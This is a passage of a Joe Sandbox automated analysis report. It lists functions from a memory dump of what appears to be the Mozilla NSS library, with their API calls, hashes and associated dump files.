Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 1bd54d15379cddf98d9d8d675aeb5eaf5c0da084c062c4867efbd96e05ec716c
Instruction ID: 0367d261b72d43935f7d87a8114ef7f0089c689ed2b3e3f6a0f0638b8574ec0b
Opcode Fuzzy Hash: 1bd54d15379cddf98d9d8d675aeb5eaf5c0da084c062c4867efbd96e05ec716c
Instruction Fuzzy Hash: 6221A1B66046009BEB218F2AED09F4776E9AF9535CF080638E44987F61FA31E4998791

Function 6CA4A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CA32AE9,00000000,0000065C), ref: 6CA4A91D

Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
Part of subcall function 6C9EADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
Part of subcall function 6C9EADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
Part of subcall function 6C9EADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
Part of subcall function 6C9EADC0: TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
Part of subcall function 6C9EADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CA32AE9,00000000,0000065C), ref: 6CA4A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CA32AE9,00000000,0000065C), ref: 6CA4A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CA4A952

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 85f622f39d085626f5d1459e81e095e3bbff2978f0ca5305bb898f18a527387e
Instruction ID: 2234d9387b11dc503728cb53a2241375528136ab465b7efb1253cb8a88390fd1
Opcode Fuzzy Hash: 85f622f39d085626f5d1459e81e095e3bbff2978f0ca5305bb898f18a527387e
Instruction Fuzzy Hash: CD3139B5601201DFD704CF58D980E62BBF9FF58318F1981A9E8198B756E730EC55CBA1

Function 6C9C98A0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
Part of subcall function 6C9F8800: TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
Part of subcall function 6C9F8800: EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
Part of subcall function 6C9F8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
Part of subcall function 6C9F8800: PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

TlsGetValue.KERNEL32 ref: 6C9C98F5
EnterCriticalSection.KERNEL32 ref: 6C9C990E
PR_Unlock.NSS3 ref: 6C9C9942
PR_SetError.NSS3 ref: 6C9C995E

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CondErrorWait
String ID:
API String ID: 1779658291-0
Opcode ID: efac8e42fa03c806c74a219c847b38d98921496123dc7b110f9a885ce8894dee
Instruction ID: 483de046051385d5e8776d8036ad6196cff9cb2337f5e5fbaff085929035a1d2
Opcode Fuzzy Hash: efac8e42fa03c806c74a219c847b38d98921496123dc7b110f9a885ce8894dee
Instruction Fuzzy Hash: 213127B4B056058FDB44EF69C58466EBBF8BF19308F02846DD8989B711E730E885CB93

Function 6C9E4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C9EB60F,00000000), ref: 6C9E5064

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 12d1c3edf6815c469002a26df8f5148dc9c2cdc6a2d15f770c74ce6472ea3b45
Instruction ID: 4e43cef21518d5dabeec4c241bbac4ebdc9d187c2e047496110dd1fa391f021e
Opcode Fuzzy Hash: 12d1c3edf6815c469002a26df8f5148dc9c2cdc6a2d15f770c74ce6472ea3b45
Instruction Fuzzy Hash: 323127B4A05606CFDB05EF68D48466ABBF8FF18308F148969E859D7B00E730E895CB91

Function 6C9A1EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1EE2

Part of subcall function 6CA01820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C9A1D97,?,?), ref: 6CA01836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1F13
DER_DecodeTimeChoice_Util.NSS3(?,6C9A4CA0,?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1F37
DER_DecodeTimeChoice_Util.NSS3(?,6C9A4C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9A4C64,?,-00000004), ref: 6C9A1F53

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: dcaa046db635d1ca2c15d26e3608424746556d0110e20676714b6bd6183f9872
Instruction ID: ee8046ace5dc67c2420e8e0f47e8425ddc141a9ca0304919a1f511e3e0dea574
Opcode Fuzzy Hash: dcaa046db635d1ca2c15d26e3608424746556d0110e20676714b6bd6183f9872
Instruction Fuzzy Hash: 4B218071504346EBC700CE6ADD00ADBB7E9EB99699F400929E954C3A40F330E65DCB92

Function 6CA09F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CA0A71A,FFFFFFFF,?,?), ref: 6CA09FAB

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CA0A71A,6CA0A71A,00000000), ref: 6CA09FD9

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0136A
Part of subcall function 6CA01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0137E
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?), ref: 6CA013CF
Part of subcall function 6CA01340: PR_Unlock.NSS3(?,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CA0A71A,6CA0A71A,00000000), ref: 6CA0A009
PR_SetError.NSS3(FFFFE013,00000000,6CA0A71A,6CA0A71A,00000000), ref: 6CA0A045

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 6a2abbdc819d165908efd5f1938756e40c1a23b82e54aa036bb195fbc52047b7
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 2521A7B470020A9BF7009F15EC50F66B7AAFF4539CF14C128D91987B81E776E858CB90

Function 6CA12DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA12E08

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CA12E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CA12E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA12E95

Part of subcall function 6CA01200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA01228
Part of subcall function 6CA01200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CA01238
Part of subcall function 6CA01200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0124B
Part of subcall function 6CA01200: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0125D
Part of subcall function 6CA01200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CA0126F
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CA01280
Part of subcall function 6CA01200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CA0128E
Part of subcall function 6CA01200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CA0129A
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CA012A1

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 786e28c37b51b759515e2c04d735f0053e2907ea5d2b43acf533c46e978a5b9c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 1721F9B1E443454BEB00CF549E447BA3B746F9234CF150369ED085BB92F7B1E5D88291

Function 6C9E1870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9E18A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C9C6C34,?,?,00000001,00000000,00000007,?), ref: 6C9E18B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9C6C34,?,?), ref: 6C9E18E1
PR_SetError.NSS3(00000000,00000000), ref: 6C9E18F9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 0a50dca83e90b2810a4a2cd50e6068ee39f0c8d005202d5c86fcac821b4bb7cc
Instruction ID: 33a01f8ed9899a5dce4a89cfd2bee3885e6ebd29174efad44dc8d3a919a19ed9
Opcode Fuzzy Hash: 0a50dca83e90b2810a4a2cd50e6068ee39f0c8d005202d5c86fcac821b4bb7cc
Instruction Fuzzy Hash: 16213475E002099BDB04AF68EC50AEE7B78FF1A318F044068ED1567702EB35E959CBE1

Function 6C9A69B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6C9A6AB7,0000000C,00000001,00000000,?,?,6C9A6AB7,?,00000000,?), ref: 6C9A69CE

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_ASN1EncodeItem_Util.NSS3(6C9A6AB7,0000001C,00000004,?,00000001,00000000), ref: 6C9A6A06
SEC_ASN1EncodeItem_Util.NSS3(6C9A6AB7,?,00000000,?,00000001,00000000,?,?,6C9A6AB7,?,00000000,?), ref: 6C9A6A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6C9A6AB7,?,00000000,?), ref: 6C9A6A42

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 22ce1137158857078a2d5928bb587ed34d0295f1d9f0f166ca2b72f2a5af1676
Instruction ID: fad9918b685079e3ade50de131dccfeeba64eb3dd89585a9d6cb73b454a78fb8
Opcode Fuzzy Hash: 22ce1137158857078a2d5928bb587ed34d0295f1d9f0f166ca2b72f2a5af1676
Instruction Fuzzy Hash: 3311CEB2640201AFE710CEADDC84B9673ECEB5075CF14C529EA29C3B41E731E896C7A0

Function 6C9CACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C9CACC2

Part of subcall function 6C9A2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C9A2F0A
Part of subcall function 6C9A2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9A2F1D

Part of subcall function 6C9A2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C9A0A1B,00000000), ref: 6C9A2AF0
Part of subcall function 6C9A2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C9CAD5E

Part of subcall function 6C9E57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C9AB41E,00000000,00000000,?,00000000,?,6C9AB41E,00000000,00000000,00000001,?), ref: 6C9E57E0
Part of subcall function 6C9E57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C9E5843

CERT_DestroyCertList.NSS3(?), ref: 6C9CAD36

Part of subcall function 6C9A2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C9A2F65
Part of subcall function 6C9A2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9A2F83

free.MOZGLUE(?), ref: 6C9CAD4F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: e5603e3d216e1739f075f172840a9efa80f5620a17bfb1b1281ffc21171275b8
Instruction ID: aec8b2432960a501e20cde07579663376d988df9d5b26e8373be974433fef3f4
Opcode Fuzzy Hash: e5603e3d216e1739f075f172840a9efa80f5620a17bfb1b1281ffc21171275b8
Instruction Fuzzy Hash: 4421C6B1E002148BEB10DFA5D9055EE77B4AF29308F454068D8097BA00FB31EA59CBA3

Function 6C9F3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9F3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C9F3CAE
PR_Unlock.NSS3(?), ref: 6C9F3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C9F3D02

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3e43f2ea1d4216ec5a9e2b3d4f5e12e4501ca07fa3b12241ff5acb40b98235c2
Instruction ID: 7266d617d46c4e07efb39f4019e9f6ed3090b78334fc94b5e07a507cf44a2ab0
Opcode Fuzzy Hash: 3e43f2ea1d4216ec5a9e2b3d4f5e12e4501ca07fa3b12241ff5acb40b98235c2
Instruction Fuzzy Hash: 43119679A00204AFDB00AF34DC44A963778FF19368F198564ED1897711E735ED56CBE1

Function 6C9FECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C9FF0AD,6C9FF150,?,6C9FF150,?,?,?), ref: 6C9FECBA

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C9FECD1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C9FED02

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C9FED5A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
